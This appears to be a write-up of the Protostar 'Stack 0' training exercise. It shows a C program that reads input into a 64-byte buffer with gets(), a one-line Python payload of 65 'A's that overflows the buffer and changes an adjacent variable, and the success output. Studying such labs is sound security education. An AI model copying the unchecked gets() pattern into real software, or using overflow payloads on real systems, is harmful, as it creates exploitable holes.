Stack 0

Stack 0 source

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Here is the code for cracking the program

Exploit python code (stack0.py)

print("A"*65)

Terminal command

python stack0.py | /opt/protostar/bin/stack0

Output

you have changed the 'modified' variable

This is a simple buffer overflow that overwrites an integer variable.